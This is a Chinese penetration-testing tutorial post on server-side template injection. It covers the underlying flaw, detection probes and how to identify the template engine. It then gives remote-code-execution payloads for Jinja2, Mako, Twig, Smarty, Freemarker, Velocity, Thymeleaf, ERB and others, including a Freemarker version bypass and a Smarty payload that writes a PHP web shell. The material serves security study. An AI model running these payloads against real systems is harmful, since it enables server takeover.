乐于分享
好东西不私藏

渗透测试技巧(十三)| 模板注入漏洞SSTI(上):原理、检测与八大引擎Payload速查

渗透测试技巧(十三)| 模板注入漏洞SSTI(上):原理、检测与八大引擎Payload速查

SSTI(服务端模板注入)难度会相对高一点的知识点,利用起来也会复杂一些。但它是OWASP注入类漏洞中增长最快的攻击向量。我以前遇到模板渲染的参数就只会丢个{{7*7}}试试,返回49就兴奋,但接下来怎么利用?Jinja2和Twig的Payload有什么区别?沙箱怎么绕?一知半解!

      今天把SSTI的完整攻击面重新系统梳理一遍,分享给大家,自己也重新学习一遍——从漏洞原理、检测方法、模板引擎识别,到各引擎的基础利用链、沙箱绕过、WAF对抗,每一个维度都藏着机会。内容较多,分上下两篇:上篇讲原理与基础利用,下篇讲沙箱绕过与高级实战。

知识整理输出不易,推荐大家收藏、保存!希望各位点赞、关注!欢迎大佬评论、转发!

SSTI模板注入全解析(上):从原理到基础利用

⚠️ 郑重声明:以下所有技术内容仅供学习研究,所有操作必须在拥有明确授权的环境中进行。未授权的渗透测试属于违法行为。

一、SSTI是什么:当用户输入变成了代码
1.1 模板引擎与渲染机制

现代Web开发普遍采用MVC架构,模板引擎负责将数据模型填充到模板文件中,生成最终的HTML页面。核心公式:

模板文件 + 数据模型 = 输出页面

模板引擎(如Jinja2、Twig、Freemarker)为了提高灵活性,支持变量渲染、条件判断、循环甚至函数调用。这本是设计特性,但当开发者将用户输入直接拼接到模板代码中(而非作为数据参数传递),漏洞就产生了。

1.2 安全写法 vs 危险写法

安全写法:用户输入作为数据传递

# 模板是固定的,用户输入是数据template = "Hello, {{ name }}!"data = {"name": user_input}output = render(template, data)

即使用户输入{{7*7}},模板引擎也只会将其作为普通字符串输出,因为它是数据,不是代码。

危险写法:用户输入拼接到模板中

# 用户输入直接拼入模板字符串template = f"Hello, {user_input}!"output = render(template)

如果用户输入{{77}},最终模板变成Hello, {{77}}!,模板引擎会执行这个表达式,返回Hello, 49!

这就是SSTI的本质:数据与代码的边界被混淆

1.3 SSTI的危害等级

SSTI的危害取决于模板引擎的能力:

危害等级
表现
典型引擎
信息泄露
读取配置、环境变量
几乎所有引擎
文件读取
读取服务器任意文件
Jinja2、Freemarker、Twig
远程代码执行(RCE)
执行系统命令,完全控制服务器
Jinja2、Freemarker、Mako、ERB

大多数模板引擎都提供了访问文件系统或执行命令的能力,一旦注入成功,攻击者几乎可以立即获得服务器控制权。

二、SSTI检测:三步确认漏洞存在
2.1 第一步:寻找注入点

SSTI可能出现在任何用户输入被渲染的位置:

🔹 URL参数(如?name=user

🔹 表单提交数据

🔹 HTTP头部(User-Agent、Referer、X-Forwarded-For)

🔹 JSON/XML请求体

🔹 邮件模板、PDF生成功能

2.2 第二步:数学表达式探测

向疑似注入点提交简单的数学表达式,观察返回结果:

探测Payload
预期结果
说明
{{7*7}}
49
Jinja2/Twig/Django模板
${7*7}
49
Freemarker/Velocity/Thymeleaf
<%= 7*7 %>
49
ERB/Ruby
#{7*7}
49
Thymeleaf/FreeMarker
{77}
49
Thymeleaf
${{7*7}}
49
Vue.js/Angular(注意区分CSTI)

如果返回计算结果而非原始字符串,SSTI漏洞基本确认。

关键区分{{7*'7'}}可以区分Jinja2和Twig:

🔹 Jinja2返回7777777(字符串乘法)

🔹 Twig返回49(数学运算)

2.3 第三步:多语言Polyglot探测

当不确定目标使用哪种模板引擎时,使用多语言Payload一次性覆盖:

${7*7}{{7*7}}<%= 7*7 %>#{7*7}*{7*7}${{7*7}}#{7*7}

哪个表达式被成功执行,就说明目标使用的是对应的模板引擎。

2.4 错误信息辅助判断

故意提交畸形语法触发错误信息:

{{}}${}<%= %>

错误信息中可能直接暴露模板引擎名称,如:

🔹 TemplateSyntaxError → Jinja2

🔹 Invalid reference → Freemarker

🔹 TemplateRenderingException → Thymeleaf

三、模板引擎识别:决策树定位

确认SSTI存在后,需要精确识别模板引擎,才能构造对应的利用Payload。以下决策树覆盖主流引擎:

输入 {{7*7}} 返回49?├── 是 → 输入 {{7*'7'}} 返回什么?│   ├── 7777777 → Jinja2(Python)│   ├── 49 → Twig(PHP)│   └── 报错 → Django模板 / Handlebars├── 否 → 输入 ${7*7} 返回49?│   ├── 是 → 输入 <#if 1==1>yes</#if> 有效?│   │   ├── 是 → Freemarker(Java)│   │   └── 否 → Velocity(Java) / Thymeleaf│   ├── 否 → 输入 <%= 7*7 %> 返回49?│   │   ├── 是 → ERB(Ruby)│   │   └── 否 → 输入 #{7*7} 返回49?│   │       ├── 是 → Thymeleaf(Java)│   │       └── 否 → 可能是Mako / Slim等
各引擎语法特征速查
引擎
语言
变量输出
注释
代码执行标记
Jinja2
Python
{{var}}{# comment #}{% %}
Twig
PHP
{{var}}{# comment #}{% %}
Freemarker
Java
${var}<#-- comment --><# %>
<@>
Velocity
Java
$var## comment#set
#if
Thymeleaf
Java
[[${var}]]<!--/ -->/th:text
ERB
Ruby
<%= var %><%# comment %><% %>
Mako
Python
${var}## comment<% %>
Smarty
PHP
{$var}{ comment }{php}{/php}
EJS
JavaScript
<%= var %><%# comment %><% %>
Pug
JavaScript
#{var}//- comment- code
四、基础利用:各引擎RCE Payload
4.1 Python / Jinja2

Jinja2是Python生态最流行的模板引擎(Flask默认使用),也是CTF和实战中最常遇到的SSTI类型。

直接利用(无沙箱)

# 读取配置信息{{config}}{{self.__dict__}}# 直接执行命令(需要os模块在全局变量中){{os.popen('id').read()}}{{lipsum.__globals__['os'].popen('id').read()}}{{cycler.__init__.__globals__.os.popen('id').read()}}

经典MRO链利用

os模块不在全局变量中时,需要通过Python的类继承链(MRO)找到可执行命令的类:

# 第一步:获取所有子类{{''.__class__.__mro__[1].__subclasses__()}}# 第二步:找到os._wrap_close或subprocess.Popen的索引# 遍历子类列表,找到目标类的索引号# 第三步:通过索引调用执行命令{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read()}}

Jinja2常用RCE Payload汇总

# 方式1:通过lipsum全局变量{{lipsum.__globals__['os'].popen('id').read()}}# 方式2:通过cycler对象{{cycler.__init__.__globals__.os.popen('id').read()}}# 方式3:通过joiner对象{{joiner.__init__.__globals__.os.popen('id').read()}}# 方式4:通过namespace对象{{namespace.__init__.__globals__.os.popen('id').read()}}# 方式5:通过request对象{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}# 方式6:通过url_for全局函数{{url_for.__globals__['os'].popen('id').read()}}# 方式7:通过get_flashed_messages{{get_flashed_messages.__globals__['os'].popen('id').read()}}
4.2 Python / Mako

Mako是另一个Python模板引擎,以性能著称,Pyramid框架默认使用。

# 直接访问os模块${self.module.cache.util.os.system("id")}# 通过__init__.__globals__访问${self.__init__.__globals__['util'].os.system('id')}# 通过template属性访问${self.template.__init__.__globals__['os'].system('id')}# 利用__builtins__${__import__('os').popen('id').read()}
4.3 Python / Tornado

Tornado框架自带模板引擎,语法类似Jinja2但更简洁:

# 直接导入os模块执行命令{% import os %}{{os.popen('id').read()}}# 通过application对象{{handler.application.settings}}# 通过request对象{{handler.request.remote_ip}}
4.4 PHP / Twig

Twig是Symfony框架的默认模板引擎,PHP生态中最流行的模板引擎之一。

# Twig 1.x(支持{{_self}}){{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}# Twig 2.x/3.x{{['id']|filter('system')}}# 利用map过滤器{{["id"]|map("system")|join(",")}}# 利用sort过滤器{{["id"]|sort("system")|join(",")}}# 利用reduce过滤器{{[0,0]|reduce("system","id")|join(",")}}
4.5 PHP / Smarty

Smarty是另一个老牌PHP模板引擎,支持直接执行PHP代码(旧版本):

# 直接执行PHP代码(Smarty 3.1.39之前){php}system('id');{/php}# 利用Smarty内置函数{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}# 通过{if}标签执行{if phpinfo()}{/if}{if system('id')}{/if}# 通过fetch/display函数{fetch file="id" assign="x"}{$x}
4.6 Java / Freemarker

Freemarker是Java企业级应用中最常用的模板引擎,Spring MVC项目广泛使用。

<#-- 方式1:通过Execute类直接执行命令(Freemarker < 2.3.30) --><#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}<#-- 方式2:通过ObjectWrapper访问Runtime --><#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","id").start()}<#-- 方式3:通过JythonRuntime --><#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("id")</@value>

踩坑经验:Freemarker ≥ 2.3.30 版本默认禁止加载ExecuteObjectConstructorJythonRuntime这三个危险类。此时需要通过Class.forName绕过:

```freemarker

<#-- 高版本绕过:通过Class.forName反射加载 -->

${Class.forName("java.lang.ProcessBuilder",true,Thread.currentThread().getContextClassLoader()).newInstance(["/bin/bash","-c","id"]).start()}

```

4.7 Java / Velocity

Velocity是Apache基金会的Java模板引擎,常见于老旧企业系统:

## 方式1:通过Runtime执行命令$!{Runtime.getRuntime().exec("id")}## 方式2:通过ProcessBuilder#set($e="e")$e.getClass().forName("java.lang.Runtime").getRuntime().exec("id")## 方式3:通过Class.forName#set($x="")#set($rt=$x.class.forName("java.lang.Runtime"))#set($chr=$x.class.forName("java.lang.Character"))#set($str=$x.class.forName("java.lang.String"))#set($ex=$rt.getRuntime().exec("id"))
4.8 Java / Thymeleaf

Thymeleaf是Spring Boot的默认模板引擎,SSTI利用相对困难,但仍有攻击路径:

// 方式1:SpringEL表达式(预处理阶段)__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x// 方式2:OGNL表达式[[${T(java.lang.Runtime).getRuntime().exec('id')}]]// 方式3:通过SpEL创建ProcessBuilder[[${new java.lang.ProcessBuilder({'id'}).start()}]]

注意:Thymeleaf默认不允许动态生成模板,SSTI漏洞通常只出现在开发者手动调用templateEngine.process()并拼接用户输入的场景。

4.9 Ruby / ERB

ERB是Ruby on Rails的默认模板引擎:

<%= system('id') %><%= `id` %><%= exec('id') %><%= IO.popen('id').readlines() %><%= require 'open3'; Open3.capture2('id') %>
4.10 Go / text.template

Go的text/template引擎设计上不支持函数调用和代码执行,SSTI危害较低,但可以泄露数据:

{{.}}{{.Field}}

Go的html/template自动转义,基本无法利用。但如果开发者使用了text/template处理HTML,仍可能存在信息泄露。

上篇小结

上篇覆盖了SSTI的核心基础:

1. 原理:数据与代码边界混淆,用户输入被当作模板代码执行

2. 检测:数学表达式探测 → 多语言Polyglot → 错误信息辅助

3. 识别:通过决策树和语法特征精确定位模板引擎

4. 基础利用:10种主流模板引擎的RCE Payload

下篇将深入沙箱绕过、WAF对抗、高级利用技巧和Payload速查表,这些才是实战中真正拉开差距的内容。

关注我,持续不断地成长!

往期推荐:

渗透测试技巧(三)| 信息收集
渗透测试技巧(四)| 反弹shell
渗透测试技巧(五)| Hash相关教程
渗透测试技巧(六)| 代理及转发
渗透测试技巧(七)|  系统提权
渗透测试技巧(八)|  内网横向渗透
渗透测试技巧(九)| 目录爆破
渗透测试技巧(十)| Linux提权全路径:9大经典方法与实战详解
渗透测试技巧(十一)| SQL注入进阶
渗透测试技巧(十二)|  登录界面渗透测试全技巧